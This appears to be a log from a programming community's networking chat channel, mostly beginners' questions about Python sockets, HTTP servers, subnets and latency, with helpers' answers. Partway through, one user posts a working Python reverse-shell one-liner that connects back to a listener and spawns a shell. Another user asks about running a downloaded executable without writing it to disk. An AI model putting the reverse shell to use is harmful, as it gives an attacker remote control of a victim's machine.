        await client.wait_for_packet(b'name')
        logging.info(f'waiting for name for {client.addr}')
        while True:
            name = await client.get_validated_packet(
                validator=self.validate_name, decoder=bytes.decode)
            if name:
                player_id = self.add_player(name, client)
                logging.info(f'accepted name {name} for {client.addr}')
                await client.write(b'name_accepted')
                return player_id
            else:
                logging.info(f'rejected name {name} for {client.addr}')
                await client.write(b'name_rejected')

but i'm still happy to get any advice about a more robust way to do it

[flint nexus]

i'm looking to expand on my code to include a very simple http api endpoint to basically remote control the code.. without resorting to using a whole framework, is there an easy way of doing this?

i basically want to be able to perform an http get with a couple of arguments

[prisma cobalt]

are you looking to "perform" an http get or receive and handle a get request @flint nexus ?

[flint nexus]

the latter

i have a very simple script that will take two arguments upon startup.. it's basically two endpoints that it need to connect to

but instead of doing it like that, i want to accept these arguments over http

so that the script can be "remote controlled"

[prisma cobalt]

i would recommend fastapi (fast is in the name, its pretty easy) but since you said you dont want to use a framework then its possible to use the socket module but you'd have to implement handling the requests yourself and it wouldnt be very good

[flint nexus]

well, fastapi sounds interesting

[prisma cobalt]

https://fastapi.tiangolo.com/

have a look at https://fastapi.tiangolo.com/tutorial/query-params/

which is probably more specific to what you want

fastapi will automatically typecheck the data as well as auto document your API for you so you dont have too

[flint nexus]

i guess i'm more curious on how to fit everything together

this needs to "fork out"

but that's a task for tomorrow.. thanks for your input

[cloud plover]

have to implement email sending without using smtp python lib.

implement from scratch using TCP protocol

[zealous flint]

That's going to be a bit tricky building from scratch

[flint nexus]

Yeah, especially with tls and authentication

[signal flint]

is it possible to send UDP requests using sockets?

and if it's possible how ?

[earnest blaze]

UDP requests?

[prisma ibex]

As an answer to a question I asked several days ago (which no one had the dignity with which to respond) if you are looking for a reference for implementing custom networking protocols a good reference is the book Foundations of Python Network Programming by Brandon Rhodes and John Goerzen

[calm epoch]

Can anyone give me a place to start to stream a webcam connected to a raspberry pi to an android smartphone on a different network?

[pulsar axle]

!rule 9

[errant bay]

Rules

7. Keep discussions relevant to the channel topic. Each channel's description tells you the topic.

[pulsar axle]

Maybe post that on indeed or a freelancing website. I don't think discord is the way to go anyway tbh

[calm epoch]

Sorry, I wasn't looking for someone to code something for me. I was more looking for something like "someone did something sort of like that on this post". I had just done a lot of googling without really knowing what to search for.

[jagged stone]

I've been trying to create a p2p network, but I found out that my network provider is using a randomly allocating symmetric nat so I'm unable to do any reasonable tcp hole punching afaict. I'm completely open to using multiple public rendezvous servers but they don't seem to useful right now. Is there any method or reasonable solution? I don't think having each client test 30k+ target ports is reasonable. I'm also working in python 3.8 if that matters at all.

[thorny hornet]

when using scapy to perform a simple sniff and summary ```python
from scapy.sendrecv import sniff

packet = sniff(5)
packet.summary()it gives me this error: `Unable to guess datalink type`. but if I include IPv6 it workspython
from scapy.layers.inet6 import IPv6
from scapy.sendrecv import sniff

packet = sniff(5)
packet.summary()```why?

[rich thicket]

Hi i need to learn networking, im a beginner can any one guide me 🙂

[upper imp]

what is the TLSAdapter

[plain stratus]

Anyone good at AWS

[signal flint]

hello

is it possible to send and receive data every 10 secs or any timing using sockets library?

[prisma cobalt]

it certainly is!

[lusty parcel]

hi everyone, hope you are well
listen I'm in the middle of pulling out my hair for several days, I have a server with an ipv6/64 block, and I would like to allow my bot to use a random IPv6 address for each request, is it possible?
The solution I find most often is to open nIPv6 addresses, create nIPv4 proxies and use them in such a way that IPv4:xPort => IPv6; isn't it easier? I don't have the knowledge to open X addresses of a block on debian, make them listen on a port, redirect each port to make proxies...it looks like a quagmire

[cunning garden]

Hi!
We don't do advertisement on this server

!rule 6

[errant bay]

Rules

6. Do not post unapproved advertising.

[warped ingot]

is there a way to download an exe over ftp and run it without saving to disk

I've been googling for over an hour and can't find anything

[prisma cobalt]

any interesting challenge @warped ingot is there any reason for doing so?

[warped ingot]

trying to keep the program as 1 file without adding space to disk

[prisma cobalt]

you could easily-ish do it with a python file but with an exe 🤔 it would be very difficult

[zealous flint]

Your EXE needs to be stored somewhere

[vital acorn]

Hey guys, I have a POST call that I'm testing in Imsonia, anyone knows how I could do the same with the requests package?

The log of imsonia is:

| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="action"
| yop_poll_record_vote
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="_token"
| 46605358f8
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="data"
| Content-Type: application/json
| {
|    "pageId":"2",
|    "reCaptcha":"...",
|    "trackingId":"",
|    "gdprConsent":"",
|    "data":[
|       {
|          "id":"5",
|          "type":"option",
|          "data":[
|             {
|                "id":"3",
|                "data":true
|             }
|          ]
|       }
|    ],
|    "user":{
|       "id":"",
|       "first_name":"",
|       "last_name":"",
|       "email":"",
|       "type":"anonymous",
|       "f_data":""
|    }
| }
| --X-INSOMNIA-BOUNDARY--

But if I put those data action, *_token * and *data * in as a map in data or json it doesn't work, anyone have a tip about that?

[ruby eagle]

Help : https://stackoverflow.com/questions/73643637/how-to-stream-bytes-uploaded-so-far-in-python-like-xmlhttprequest-progress-even

[outer jetty]

hello, i ran the command python3 -m http.server with a simple html file in the same directory. using my laptop I can access it using the ip of my laptop but I cannot from my phone despite they are on the same network...?

[prisma cobalt]

are you sure your entering the same address?

if its not using port 80, did you manually set the port on the phone

[white lantern]

defaults to port 8080, so you'd need something like 192.168.1.1:8080, assuming 192.168.1.1 is local ip for the laptop

[digital sable]

try 127.0.0.1:8080

[ember ledge]

Yo yo, anyone here?

Quick question

Nevermind

socket.settimeout()

[outer jetty]

the exact command I ran specified port 8080. I then copied the url from the browser and sent it to my phone to ensure there was no way I could get it wrong

[prisma cobalt]

?

ah, it might be the URL

what was the URL?

[outer jetty]

192.168.122.1:8080

i should note I am on my universities wifi

so...

[prisma cobalt]

hmm, and your sure that your phone is on the same network?

ah

[outer jetty]

they are connected to the same wifi

but idk if they split it up or something

[prisma cobalt]

ah, thats the reason

[outer jetty]

idk how that stuff works

oh

[prisma cobalt]

it is usually

[outer jetty]

lame

so as example, they might redirect all laptops to one and phones to another

hence why i am unable to connect?

[prisma cobalt]

universities have lots of students which have lots of devices, as such they need to allocate large amounts of IP addresses. They can do this by subnetting

find the ip address of your phone if you can, it should be in settings

192.168.122.1:8080
i bet the part in bold is different

[outer jetty]

where in settings?

nvm

thats so lame

[prisma cobalt]

wifi or network settings

lmao

yeah

[outer jetty]

its not even close

its like

hold on

i think i found my public ip..?

[prisma cobalt]

hmm, in your phone settings 🤔 ?

[outer jetty]

it is like 138.x.x.x

[prisma cobalt]

yeah that looks public

weird, where did you find it?

if its in your phone settings then thats odd but not unheard of

[outer jetty]

on android 10

i went to

settings > connections > Wi-Fi > settings button on name of wifi > under headder: IP address

[prisma cobalt]

usually that displays your local ip

[outer jetty]

hmmmm

can i use termux to find it with ip a

?

lol

it doesnt give me my local

ig i dont have one

imma call it

lol they were very untrained for that one

[ember ledge]

im running some code to make a connection back to a listener however i get the connection twice and the get the error OSError: [Errno 9] Bad file descriptor the listener output Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.1.218. Ncat: Connection from 192.168.1.218:1477. code import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.83",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh") any ideas

[hoary sorrel]

!rule 6 9 - we don't allow recruiting for paid work here.

[errant bay]

Rules

6. Do not post unapproved advertising.

9. Do not offer or ask for paid work of any kind.

[ember ledge]

hahah 6 and 9

a coincidence i think not

[ember ledge]

running code on windows and listener on linux

[prisma cobalt]

why have you compressed your code when its not working yet at this stage

[ember ledge]

It's a one liner I know works but idk if it's not working cuz it's Linux only I've had and seen it working on linux so

[prisma cobalt]

does ; count as one line?

[ember ledge]

Well it's one line of code so maybe not a true one liner

[ember ledge]

hello guys i don't know if anyone here has an experience with 802.1x encryption

[tender violet]

has anyone have experienced with ubuntu linux?

[crystal current]

Don't ask to ask, just ask

[halcyon hull]

Lmao

[covert rover]

dontasktoask.com

i cant share links so put it in google and read it

[tender violet]

I already finished it

[ember ledge]

Has anyone used SMTP ?
I need help setting up my gmail account to access smtp service

[crystal current]

If you're trying to send via SMTP, you need another provider now https://support.google.com/accounts/answer/6010255?hl=en

[ember ledge]

Thanks for the reply.
Actually I found a way around, you just need to use 2FA and then set a password for your app then use those credentials then it worked.

[acoustic bison]

Hello everyone. Is there anyone here who works within the healthcare industry? I have taken up a project in NLP in the industry, and I was wondering if there are any discussions concerning patients' privacy in machine learning.

[spice zodiac]

anyone need help with cors i gitchy

[woeful moon]

Yeah

[inner canopy]

Aren't iterative queries direct, from the client to the DNS server? (this image is from cloudflare about DNS lookup) Why are the requests from the resolver considered iterative, is the resolve considered the client?

[ocean bay]

Does the same origin policy block cross-origin post requests from being sent to the server or only block the response?

[ember ledge]

i am making a chatbox and i have a problems with socketd

OSError: [WinError 10048] Normally only one use of each socket address (protocol/network address/port) is allowed

[ember ledge]

@minor fjordwork

[prisma cobalt]

poor NET

did you know that by simply googling the error, you get some answers :)

but ill explain anyway

either there exists a process thats already using a server socket on the port you want to use
or
your script is trying to bind 2 server sockets to the same address and port

@ember ledge

[ember ledge]

@prisma cobalt

so i need to change ip

in one

?

[prisma cobalt]

show me your code

[ember ledge]

kk

dms

!pastebin

[errant bay]

Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

[prisma cobalt]

not DM's, here please

[ember ledge]

i just sent pastebin

https://paste.pythondiscord.com/obeqixasik
@prisma cobalt
server.py
https://paste.pythondiscord.com/gucefekoyi
clients.py

[prisma cobalt]

ah i see the issue

[ember ledge]

yeah?

[prisma cobalt]

server.py

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )

client.py

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )

the client should not bind to an address, instead, it should connect to an address

[ember ledge]

:huh

[prisma cobalt]

the client also doesnt need to .listen()

thats only for the server

[ember ledge]

done

listen removed

now what

copy paste what u sent

?

[prisma cobalt]

no, dont copy/paste without understanding 😫

[ember ledge]

ok sorry

so

[prisma cobalt]

what i sent was your code

[ember ledge]

whats the issue

oh ok

so what do i need to fix

😢

removed .listen

what else

[prisma cobalt]

the client should use socket.connect((HOST, PORT))

not .bind()

[ember ledge]

only server

or

client

client = bind

server = connect

right

[prisma cobalt]

server: socket.bind((HOST, PORT))
client: socket.connect((HOST, PORT))

[prisma cobalt]

other way round

[ember ledge]

Huh

i did something terrible

[prisma cobalt]

?

[ember ledge]

so

wait

do u mean

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )

like this

server.py?

[prisma cobalt]

yes

thats good

[ember ledge]

server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.connect((HOST , PORT) )

for client

[prisma cobalt]

yes!

[ember ledge]

ok

now

what about the adress

[prisma cobalt]

then one last thing

yeah

[ember ledge]

i dont get whats wrong

😭

🙏 thanks for helping me master

[prisma cobalt]

the server should use the address: "0.0.0.0"
the client should use the ip address (like how it does now anyway)

[ember ledge]

ok

but

PORT?

1234 is fine?

cause this is a chatbox and i would like everyoen to localhost

not host by my pc

yk

@prisma cobalt

🙏

[prisma cobalt]

it should be yes

[prisma cobalt]

?

[ember ledge]

the thing i am coding

its a chatbox

i want it to host on their ip

not mine

when they connect does it connect on their ip?

[prisma cobalt]

only one person needs to host (the server). everyone else is a client

[ember ledge]

ok

but

it doesnt work

😭

i dont get

why its not running

[prisma cobalt]

do you know how functions work

[ember ledge]

on cmd what do i type

[ember ledge]

do i need to run server.py or clients

idk

😭

[prisma cobalt]

i would reccomend learning the basics of python before doing this kind of thing, relatively, its very complex

[ember ledge]

ok but it took me 4 hours

and stilll cant fix

pls

[prisma cobalt]

because you dont know how to fix it yeah

[ember ledge]

yeah

but

i saved

idk what to run

on cmd

tell me

[prisma cobalt]

what operating system are you running? if its windows then you can do: python server.py

[ember ledge]

yeah

it doesnt work

[prisma cobalt]

thats because you never actually called your functions

[ember ledge]

idk how to do that

will it take a lot

[prisma cobalt]

it takes a single line of code

[ember ledge]

i need this chatbox my friend wanted it for his bday

so we can play amongus

while chatting

on that

[prisma cobalt]

cant you use discord for that lol

[ember ledge]

yeah

but

he wanted custopm

xd

and his parents dont let him

[ember ledge]

and what is it pls tell me i gtg

[prisma cobalt]

i cant help you very much because you dont know python. working with sockets is something you should do after learning at least the basics

[ember ledge]

but tell me the function line

PLS

i beg u

i cant throw away 4 hours

like that

[prisma cobalt]

put this at the end of server.py:

receive()

[ember ledge]

fun fact

[prisma cobalt]

but it wont help you much because your entire client script wont work how you intend

[ember ledge]

its already there

lol

[prisma cobalt]

ah, it wasnt in the pastebin link thing lol

[ember ledge]

it is

xd

so what do i do

if i throwed away my day for this im kinda sad

i am 13

i did all my homework and had to prepare my bag and shit before coding

but

all the time i had

i wastd it

while i coudlve

learnt

python

[prisma cobalt]

ah, i see it. you have to deindent it so its touching the left side

[ember ledge]

basics

and

its

my fault

[ember ledge]

deindent all?

BRUH

[prisma cobalt]

not all, just that line

[ember ledge]

which line

[prisma cobalt]

the last line, the receive()

[ember ledge]

where do i put it

[prisma cobalt]

def receive():
    while True:
        client, adress = server.accept()
        print (f"Connected with {str (adress)}!")

        client.send ("NICK".encode('utf-8'))
        nickname = client.recv(1024)
        
        nicknames.append(nickname)
        clients.append (client)
        
        print(f"Nickname of the client is {nickname }")
        broadcast(f"{nickname} joined the chat \n" .encode('utf-8'))
        client.send ("Connected to the server".encode ('utf-8'))

        thread = threading.Thread(target = handle , args= (client,))
        thread.start()

        print(f"Server Running...")
receive()

[ember ledge]

at the start

ok

copied

[prisma cobalt]

:/

that might fix your server.py script but the entire client.py script is wrong

[ember ledge]

didnt fix

😭

it only works under print

[prisma cobalt]

what python version are you running, modern ones require you to pass an integer into server.listen()

[ember ledge]

how to check

[prisma cobalt]

run python --version in cmd

[ember ledge]

idk how to check on vs but on cmd its

10

3.10.6

[prisma cobalt]

good

[ember ledge]

lemme check again

yeah

it is

now what

[prisma cobalt]

are you getting an error?

[ember ledge]

ye

[prisma cobalt]

what error

[ember ledge]

wait

nvm

it works

bruh

i am so bad

but

[prisma cobalt]

what is HOST and PORT?

what are the values

[ember ledge]

SHIT BRO

I AM SO TRASH

i added after port

lemme check

if works

nah

i type

@prisma cobalt

python server.py

nothing happens

theres no errors

running problems

only

[prisma cobalt]

thats because you need to call your function by deindenting the receive()

[ember ledge]

wdym

[prisma cobalt]

.

[ember ledge]

i did

on both client

and

server

[prisma cobalt]

send the new server code again

[ember ledge]

k

!pastebin

[errant bay]

Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

[ember ledge]

server.py https://paste.pythondiscord.com/unufirufos

@prisma cobalt

clients.py https://paste.pythondiscord.com/ikulehifex

@prisma cobalt

[prisma cobalt]

reindent it more

[ember ledge]

more to left

[prisma cobalt]

yes

[ember ledge]

it shows as error

[prisma cobalt]

what error

[ember ledge]

problem

as problem

[prisma cobalt]

show me

[ember ledge]

wait

fixed

kk

now should it work

[prisma cobalt]

well... sure

the server should work

the client wont

[ember ledge]

it doesnt

lol

[prisma cobalt]

what doesnt work

[ember ledge]

it doesnt run

[prisma cobalt]

?

what do you mean

[ember ledge]

error

translated : OSError: [WinError 10048] Normally only one use of each socket address (protocol/network address/port) is allowed

wait should the port be on client and server

or only server

or only client

[prisma cobalt]

both

[ember ledge]

oh ok

so whats the problem

[prisma cobalt]

run the server only, not the client

[ember ledge]

thats what i did

read

python server.py

server.bind = incorrect

[prisma cobalt]

something else is running on that port then

trying changing the port number

to 13346 or something

i have to go

i recommend you learn python before doing this

[ember ledge]

@prisma cobalt

?membercount

!membercount

!member

[errant bay]

You are not allowed to use that command here. Please use the #bot-commands channel instead.

[ember ledge]

Hello , I'm a beginner in python, what means socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ? IP headers are automatically set by linux kernel ?

[ember ledge]

LOL

[fossil wing]

Can someone please help me with a sockets issue in #help-corn.

[rugged sluice]

Read here

[rustic obsidian]

Oh thought i'd be more tkinter issue not networks i'm not very well with this sorry

[hybrid gorge]

can someone explain what the difference between an access point and a repeater is?

[proven void]

i have 4 threads which subscribe to 4 different mqtt topics. after some hours the processes dont get updated anymore, anyone has an idea?
the gui is still working but getting no updates

i have the subscribe in the on_connect

[chrome cape]

Anyone object to me posting a random question here about how a ping can work in unexpected ways?

[ember ledge]

ok

[vital prairie]

Hey Guys I Want To Learn Sockets module in python So What Should I Do To Learn It

And I Don`t Know Any thing About Networking

[prisma cobalt]

check the last two pins on this channel, theres some good resources

[tepid rover]

hi

please suggest me some final year project

on networking

[prisma cobalt]

🤔

isnt that for you to decide, which bits of networking are you interested in?

[bitter heart]

hi

i have an idea about a script that checks the network if there are devices run the same script like the apple move connection of airpods between iphone, mac, ipad is there any way to do it?

[meager monolith]

Write a TCP server that provides the following functionality: 1. Be able to communicate over TCP with a client such nc(netcat), telnet, or a custom TCP client.

Any ideas how to do it?

[ocean bay]

Out or curiosity, is this for an online course/school? Wondering cause id like to enroll in sth if the sort

[meager monolith]

No this was a interview question

[ocean bay]

Ah cool, if you dont mind was it for a networking job or devops?

[thorny hornet]

what layer contains the header for the protocol that the packet is in (ARP or IPv4)

[tall meteor]

Hello,
I've been trying to add subdomain functionality to my web api. I've managed to make the site work when no subdomain is used. However I get an error returned when a subdomian is used.

Basic setup of the site:
Client -> Cloudflare -> Nginx server -> Waitress -> Flask

I've added a wildcard A record on CloudFlare.
Here is a flask endpoint I made with subdomains:

import flask
from waitress import serve
app = flask.Flask(__name__)
app.config["SERVER_NAME"] = "localhost:5000"

@app.route("/v1", subdomain="<site>", methods=["GET"])
def sub_api(site):
    "Args: headers={token} | Returns gateway's response"
     return "Test", 200

serve(app, host="localhost", port=5000, url_scheme='https')

Here is my nginx config (which I think is the problem):

I tried adding a nginx wildcard for subdomains as shown in the server block above. However I get this returned in the nginx error log file and a bad gateway error when getting: https://www.groups.redacted.co.uk/v1

No resolver defined to resolve groups.localhost, server: ~^(?<subdomain>[^.]+).redacted.co.uk$, request: "GET /v1 HTTP/1.1", host: "groups.redacted.co.uk", referrer: "https://groups.redacted.co.uk/v1"

Any help you guys could give to help me resolve this problem would be amazing.

[prisma cobalt]

Third I believe, the network layer

[zealous flint]

Either that or 2nd but I’m not fully sure

ARP operates in 2nd

Actually hmm

ARP maps MACs to IPs, right? I guess then it could fall under both 2nd and 3rd

[zealous wigeon]

Hey guys, can someone clarify a thing or two about Flask for me? I need to create small HTTP server, serving only one endpoint, but the catch is that i need to handle client requests concurrently, and this endpoint needs to return request within the timeout that users specifies in the request. I know that it's not good to handle concurrency in the http handlers itself, and usually people will use something like Flask - Redis - Celery app. My question is: if users sets the timeout to be something like 500ms, won't redis + celery bottleneck this process? Should I just do it in the flask server itself, or delegate it?

[prisma cobalt]

the initial ARP request would operate on layer 3 since its trying to figure out the targets mac address via the IP of the target

[pine light]

If I have two threads that are sending data to the same socket, will the bits streams "overlap" and get corrupted?

[eternal goblet]

Where would I start looking for information about setting up a small business network. Do I need any hardware? How do employees connect to the network? Via VPN or other means (most will be remote working)? Does each employee need any software to connect to the network?

[crystal current]

The answers to these questions really depend on a lot of details specific to your requirements and budget. It's well worth consulting a professional before you make any major decisions.

A lot of small businesses will hire a local MSP to set up and manage their network. This does come with cost but a good MSP is worth the cost if you're requirements are beyond what you can manage well internally

You might not need a VPN if public cloud-based solutions are cheaper. My company has over 20 employees and no network. Just Google Drive and things like that

[eternal goblet]

Thanks for the info. I've asked my boss to possibly consider a contractor to which he didn't want to, to save on costs. They'd rather me, who has no experience in this area, do it for them, hence the questions. We have around 10-15 employees currently and like you, we also use GDrive and other services which has been fine. I think they are more worried about cybersecurity though with the data we have and will obtain in the future.

I'll have a look into some MSPs and see if they will decide on that instead

[crystal current]

The main security advantage of having your own network would come from domain policies that manage the security posture of the devices in your network... This is not something you can manage without a professional sysadmin, and you're probably too small for that. If they're really serious about security, hiring an MSP is pretty much essential in my view

Good luck 🙂

[stoic nebula]

Is this the best/right place to ask about webscraping?

[zealous flint]

Eh. We don't have a dedicated webscraping channel, but #web-development might be the closest

Sorry, had to follow you in here. this channel doesn't seem like the best place for it lol

[stoic nebula]

Oh no worries! I'm always happy to see you around. You've been incredibly helpful!

[opal birch]

Howdy, i have a questions about the socket library, How can I make my sockets from the server public for everyone? I mean, how can I connect to my socket server using another device? Can I put a name for my socket server (For example: example-socket.io)?

[quasi wraith]

I want to build a packet based network intrusion/anomaly detection software that detects any anomalous activity on the network and issues the alert for the same....like I want to make it practical and work on actual network instead of provided data sets...I posted this in #cybersecurity but since it is more of a networking project so I am putting it here as well...if anyone has worked on any IDS related stuff then please let me know I need some guidance

[woeful oak]

hey guys, i'm encountering this error, can anybody point me in a direction i should look?

[prisma cobalt]

a "client" will connect to your server, the code is a bit different but apart from that, the client need's to specify the IP and port of the server

[ember ledge]

A little question that requires a lot of explanation:
How to make a pop-up screen appear when someone visited a certain Wiki-page 2 times? (for school based purposes) with some text?
And can this be achieved with Python or are other languages better?

[nimble maple]

@ember ledge , you'd want to probably do a cookie mechanism?

[ember ledge]

Hm not sure. Can this be done in a different way? Like that the adresses of the websites are stored lockaly?

[nimble maple]

I'm not following.

How to make a pop-up screen appear when someone visited a certain Wiki-page 2 times

Something has to know the state, and it makes the most sense for the client to remember this since it's going to be harder to accurately fingerprint devices without a login. Then within the site, use javascript to look at cookies and act on them?

[barren apex]

a subnetted network with ip 192.168.0.1/27 has 8 subnets. the subnet mask will be common to all subnets (255.255.255.224) but subnet id/network id will be different for each subnet? Am i correct or is there something else?

[zealous flint]

What do you mean by "subnet ID" and "network ID"?

I haven't heard of a network and subnet ID unless those are just the network IP and subnet mask, respectively

[zealous flint]

the subnet mask will be common to all subnets
Not necessarily, variable subnetting exists, if we're to be pedantic

[ember ledge]

I am working on a project in which i use requests to get a json response, the response contains 5 properties, i want to print a value of 1 property

[cunning garden]

and?

[ember ledge]

I am not able to figure out how to print a value of a key

[cunning garden]

you can use the json method on the response to get the json object

from there, you can check the presence and value of said property

[ember ledge]

So r= requests.get(url).json()

Then r['key']

[cunning garden]

https://requests.readthedocs.io/en/latest/user/quickstart/#json-response-content

[ember ledge]

Oh tq

[cunning garden]

so yeah, something like tha

t

[ember ledge]

Tq

[ember ledge]

I saw the pinned messages, but yeah I couldnt find an independent resource to understand some basic concepts in computer networking (separate from python)
For example what sending a request does, the differences between localhosting and public hosting(?), how public domains work, what FTP is etc.
Things that people seem to know before actually using python with it

I'm really bad at networking and I'd like to know the absolute basics before I get to actually doing something with python for it

And I mean really bad

I can do basic front end, and I'd say I'm objectively competent with using Python itself

I've used sockets a while back but.. those were really questionable attempts (plus I didnt know what I was doing)

[rapid remnant]

how does latency become an issue when data centers are in cloud?
doesn't the data needed for users directly transmit from data center to users?
does it always travel from data center to org and then to user or directly?
Having a server far away from its user requires the information and data to travel longer distances leading to higher latency
im unable to understand this statement.
if this itself is a problem, will being in an onpremise data center not be a problem? Cos when users are spread out we have the ability to buy servers at diff locations and thus decrease latency...whilst an on premise data center is difficult as we need to develop a new one and even maintain it...(These come as a result of my understanding that the data from data centers travel directly to users)
correct me if I'm understanding things wrong
ping me on reply

[gloomy root]

It's an issue of physics. Your data travelling down a wire at best can only go the speed of light. So the more distance it has to travel the slower it's going to take

If your data center is in the USA and your users are in the UK for example

It's got to travel half way around the world in order to get to the user who requested the data

(this is a simplification because TCP and things doing lots of round trips)

The solution a lot of companies employee where latency matters is you have systems distributed across several data centers in several locations. And direct the user's requests to what ever data center is geographically closer to them. Which in turn, results in lower latency.

This is basically the entire reason why people use things like CDNs and the 'edge' networks, which are basically what I just described above.

[rapid remnant]

so data travels from data center directly to users?

I thgt it would travel form data center to org and then to user.... and thats the reason latency was low when we considered the case of on-premise data center

[gloomy root]

Probably the simplest way to think about it, in reality it there's other parts to the puzzle but they all have the same affect

I mean I don't understand what you mean by org btw

[rapid remnant]

ok lemme give an example

lets say i have ABC company in German, cloud data storage in USA and user from UK

consider this scenario

org here is organization (ABC company)

[gloomy root]

If the org is running their own services in Germany, let's say a website backend. But their database is hosted in the cloud in the US, if a user goes and requests the site. Then yes it will basically go:

User <-> Website backend (Germany) <-> Database (USA)

[rapid remnant]

Im considereing the processing happens in the organisation after it fetches data from that clound and sends a http response containing the dynamic web page

[rapid remnant]

this question did really bring the ability to articulate my thoughts. Thanks for asking

[gloomy root]

But on premises realistically isn't always faster, it can certainly be slower in fact.

The general rule is closer is to the end user is better. But your network has to be able to support it and often on prem requires a bunch of additional infrastructure that most companies don't want to deal with

It's also often more expensive than just going 'well we might as well just use AWS and have it in the London region'

[rapid remnant]

so if the services are also in cloud then the response directly goes from cloud to user

[gloomy root]

My internet is breaking up as well, nice

If nothing else is acting as a middle man then yes

[rapid remnant]

then edge computing would result in over head right? cos we need to have the copy of data in all servers and also the services?

[gloomy root]

If your website is hosted in the US, and the user requests the site, it'll be going to the US, it won't be making a stop off at Germany just because your company happens to be registered there 😅

At least that's all you really need to think of it as

[rapid remnant]

understood

[gloomy root]

Yes, but the result gives you an average lower latency for all users across the world, since the data is replicated

But yes, distributed data and replication has overheads

[rapid remnant]

oh yea it has the benefit that when system goes down it could go for next nearest server

Thanks for this

I was actually looking at edge computing and thats when I got this doubt

And to my surprise you answered a part of my answer in the beginning itself

without even me mentioning about edge computing

Thanks @gloomy root

@gloomy root ahhh got another doubt now,
-> when we have the ability to set up servers in cloud of our choice why is there a latency issue?
-> also latency is lesser in cloud as compared to that of on premise right?

[glossy harbor]

Hey I want to send a UDP message from a SPS and convert that into a CAN message anybody can help me or give m a Idea how to realize it?

[compact solar]

anyone have experinece with the cisco CLI

i need just a tiny bit of help understanding an issue, im certain i have my configurations correct but my test pings keep failing

[zealous flint]

yep, I’ll do my best to help

[compact solar]

Sorry I got it resolved